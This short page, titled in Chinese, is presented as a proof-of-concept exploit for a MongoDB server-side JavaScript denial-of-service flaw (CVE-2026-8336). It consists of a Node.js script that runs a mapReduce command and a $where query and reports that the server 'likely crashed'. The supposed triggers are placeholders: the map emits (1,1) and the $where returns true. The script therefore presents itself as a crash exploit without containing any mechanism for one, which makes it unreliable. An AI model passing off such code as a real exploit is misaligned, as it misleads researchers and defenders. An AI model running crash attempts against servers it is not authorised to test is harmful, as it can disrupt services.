CVE-2026-8336 MongoDB服务端JS引擎DoS漏洞

// Conceptual Proof of Concept for CVE-2026-8336 // Prerequisites: Valid low-privileged credentials for MongoDB const { MongoClient } = require("mongodb"); async function exploit() { const uri = "mongodb://localhost:27017"; const client = new MongoClient(uri); try { await client.connect(); const db = client.db("test"); const collection = db.collection("target"); // Step 1: Trigger the vulnerability preparation // Invoking internal function or specific mapreduce logic console.log("[+] Step 1: Triggering vulnerability preparation..."); // Attempting to invoke internal function $_internalJsEmit (conceptual) // or specific mapReduce command that corrupts state await db.command({ mapReduce: "target", map: function() { // Specific map logic to corrupt internal JS engine state // This is a placeholder for the specific trigger emit(1, 1); }, reduce: function(key, values) { return Array.sum(values); }, out: { inline: 1 } }); // Step 2: Trigger the crash using server-side JavaScript console.log("[+] Step 2: Triggering crash via $where..."); // Using $where to execute JS on the server, interacting with corrupted state const query = { $where: function() { // This execution should cause mongod to crash return true; } }; await collection.findOne(query); console.log("[-] Exploit failed or server did not crash."); } catch (e) { console.log("[!] Server likely crashed or connection lost: " + e.message); } finally { await client.close(); } } exploit();